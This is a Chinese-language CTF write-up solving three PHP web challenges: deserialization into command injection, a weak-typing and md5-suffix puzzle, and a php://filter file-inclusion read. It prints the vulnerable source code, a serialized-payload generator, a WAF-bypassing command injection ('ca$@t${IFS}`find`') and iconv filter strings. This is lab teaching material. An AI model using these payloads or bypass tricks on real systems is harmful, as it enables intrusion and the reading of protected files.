unseping
该题考察序列化反序列化及Linux命令执行相关知识。
<?php
highlight_file(__FILE__);
class ease{
private $method;
private $args;
function __construct($method, $args) {
$this->method = $method;
$this->args = $args;
}
function __destruct(){
if (in_array($this->method, array("ping"))) {
call_user_func_array(array($this, $this->method), $this->args);
}
}
function ping($ip){
exec($ip, $result);
var_dump($result);
}
function waf($str){
if (!preg_match_all("/(\||&|;| |\/|cat|flag|tac|php|ls)/", $str, $pat_array)) {
return $str;
} else {
echo "don't hack";
}
}
function __wakeup(){
foreach($this->args as $k => $v) {
$this->args[$k] = $this->waf($v);
}
}
}
$ctf=@$_POST['ctf'];
@unserialize(base64_decode($ctf));
?>
分析
首先,代码定义了一个名为ease的类,其中__construct()接收两个参数$method和$args,并将它们赋值给对应的属性。__destruct()在对象销毁时自动调用。它首先检查$method是否在可调用的方法数组中,如果是,则使用call_user_func_array()函数调用ping()方法,并将$args作为参数传递进去。
方法ping($ip)接收一个参数$ip,使用exec()函数执行$ip命令,并将结果存储在$result数组中,最后通过var_dump()打印出来。
方法waf($str)用于简单的Web应用防火墙(WAF)功能。它使用正则表达式检测是否包含一些特定的关键字,如|、&、;、/、cat、flag、tac、php、ls等。如果不包含这些关键字,则返回原始字符串;否则,输出"don’t hack"。
__wakeup()是一个魔术方法,用于在反序列化对象时自动调用。它遍历$args数组,并对其中的每个元素调用waf()方法进行过滤。
解题
那么思路就很清晰了:构造可进行命令执行的ping命令,并经过序列化、base64加密后赋值给参数ctf。由于ctf在解码后会被反序列化,而反序列化时会执行wakeup魔术方法,即反序列化时会对ping命令中的关键字进行过滤来限制命令执行。所以我们可以使用双引号闭合等的方式进行绕过。
序列化
call_user_func_array
是PHP中的一个函数,它允许调用一个回调函数,并传递一个数组参数作为回调函数的参数。这个函数特别有用在动态调用函数和传递动态参数的情况。
mixed call_user_func_array(callable $callback, array $param_arr)
参数:
-
$callback
:被调用的回调函数,可以是一个包含函数名的字符串,或者是一个包含类名和方法名的数组。 -
$param_arr
:这个数组包含了回调函数所需要的参数。
返回值:
-
call_user_func_array
返回回调函数的返回值
payload生成代码如下
<?php
class ease{
private $method;
private $args;
function __construct($method, $args) {
$this->method = $method;
$this->args = $args;
}
}
$a = new ease("ping",array('id'));//序列化的具体成员变量
echo serialize($a)."<br>";
echo base64_encode(serialize($a));
?>
提交payload进行验证,发现能执行当前命令
正则绕过
因为源代码绕过了斜杠和空格等关键字导致了不能直接获取flag信息,为了方便执行后续命令执行获得flag,我考虑的方案是空格绕过法,空变量绕过来绕过PHP正则的匹配
${IFS} 空格绕过
$@ 空变量
绕过ls
内联执行绕过斜杠
find 查看当前及子目录下的所有文件
直接配合内联执行引用find命令特性,然后使用cat查看find列出的文件即可,因为flag就在当前目录
$a = new ease("ping",array('ca$@t${IFS}`find`'));//修改payload生成代码的这一行即可
插曲:内联执行`ls`不行因为只会显示当前文件下的目录和文件,不会递归显示目录里面的文件,flag在flag_is_here这个目录里
easyphp
php代码审计
<?php
highlight_file(__FILE__);
$key1 = 0;
$key2 = 0;
$a = $_GET['a'];
$b = $_GET['b'];
if(isset($a) && intval($a) > 6000000 && strlen($a) <= 3){
if(isset($b) && '8b184b' === substr(md5($b),-6,6)){
$key1 = 1;
}else{
die("Emmm...再想想");
}
}else{
die("Emmm...");
}
$c=(array)json_decode(@$_GET['c']);
if(is_array($c) && !is_numeric(@$c["m"]) && $c["m"] > 2022){
if(is_array(@$c["n"]) && count($c["n"]) == 2 && is_array($c["n"][0])){
$d = array_search("DGGJ", $c["n"]);
$d === false?die("no..."):NULL;
foreach($c["n"] as $key=>$val){
$val==="DGGJ"?die("no......"):NULL;
}
$key2 = 1;
}else{
die("no hack");
}
}else{
die("no");
}
if($key1 && $key2){
include "Hgfks.php";
echo "You're right"."\n";
echo $flag;
}
?>
分析:
第一个考点invoke()
第二个考点md5爆破
第三个弱类型比较
第四个array_search()
解题
判断1
主要由三部分组成,分别是isset、intval、strlen,三种函数功能分别是检查变量是否设置、将变量转化为int型、计算变量长度。2、3两个条件明显是矛盾的,既要求数字大于6000000有要求数字的长度小于3。这里涉及的知识点是在低版本的php当中科学计数法的长度是按字符串来算的,因此可以使用科学计数法来绕过长度限制,如这里使用1e9。
判断2
两部分组成第一部分略,第二部分要求我们计算出一个前6字符相同的哈希值,属于哈希碰撞的范畴,暴力破解找到合适的值
from hashlib import md5 # 从hashlib库中导入md5函数
def get_md5(secret): # 定义一个函数,用来获取字符串的MD5哈希值
src = secret.encode('utf-8') # 将字符串编码成UTF-8格式的字节
md = md5(src).hexdigest() # 计算字节的MD5哈希值,并转换成16进制字符串形式
return md # 返回MD5哈希值
for i in range(100000): # 使用for循环,从0到99999,尝试这100000个数字
s = str(i) # 将数字i转换为字符串
md = get_md5(s) # 获取该字符串的MD5哈希值
if (md[-6:] == '8b184b'): # 检查MD5哈希值的最后六位是否为'8b184b'
print(s) # 如果是,打印出该字符串
print(md) # 打印出对应的MD5哈希值
判断3
主要分3部分,判断变量是否是数组、判断Array[e]是否不是数字、判断array[e]是否大于2022,2、3条件矛盾。
利用php是弱类型的特点可以进行绕过,php数字与字符串比较的时候会自动进行解析其会将字符串从第一个非数字处截断,将截断前的字符串当做数字进行比较。而字符串本身的数据类型不是数字。因此合适的值为:2022c(此处c可替换为任意非数字
判断4
Array[n]是数组,同时Array[n]的长度为2、Array[n][0]也是数组,构造相应二维数组即可。
判断5
核心点是如何绕过array_search这个函数。先看看下面两个判断吧,array_seach的结果b不能是假,也就是Array[n]中必须有元素是DGGJ,同时遍历Array[n]之后对数组值进行判断,如果存在DGcJ则终止程序。
很明显这两个条件是矛盾的,开头提到了如何绕过arraysearch是核心点,既然如此就先了解-下array_seach这个函数的作用吧。其作用是在数组中查找元素,并返回其下标。而这个函数在进行元素查找的过程中进行的比较是==而非===,因此同样是采取弱类型比较的特点,因为是和没有数字字符串比较所以我们只要保证在Array[n]中存在非0下标的元素中存在值0即可。因为在php中"字符串"==0是成立的。
最后再通过json encode()将我们构造的数组进行一下转化就得到了Array[n]的json格式数据。
file_include
分析:
文件包含->php伪协议读取文件
解题:
使用建议:使用burpsuit进行<input-encoding>.<output-encoding>爆破,选取爆破长度特殊的组合进行尝试,解出flag。
使用方法:php://filter/convert.iconv.UTF-7.UCS-4*/resource=xxx.php
convert.iconv.<input-encoding>.<output-encoding>
or
convert.iconv.<input-encoding>/<output-encoding>
<input-encoding>和<output-encoding>
就是编码方式,有如下几种;
注意:<output-encoding> 的选择将会直接影响flag的显示形式
UCS-4*
UCS-4BE
UCS-4LE*
UCS-2
UCS-2BE
UCS-2LE
UTF-32*
UTF-32BE*
UTF-32LE*
UTF-16*
UTF-16BE*
UTF-16LE*
UTF-7
UTF7-IMAP
UTF-8*
ASCII*
对输入输出编码进行爆破
选取最长的返回结果中的编码
关于php伪协议各种过滤器:php://filter的各种过滤器_?file=php://filter/convert.iconv.ucs-2le.ucs-2be|c-CSDN博客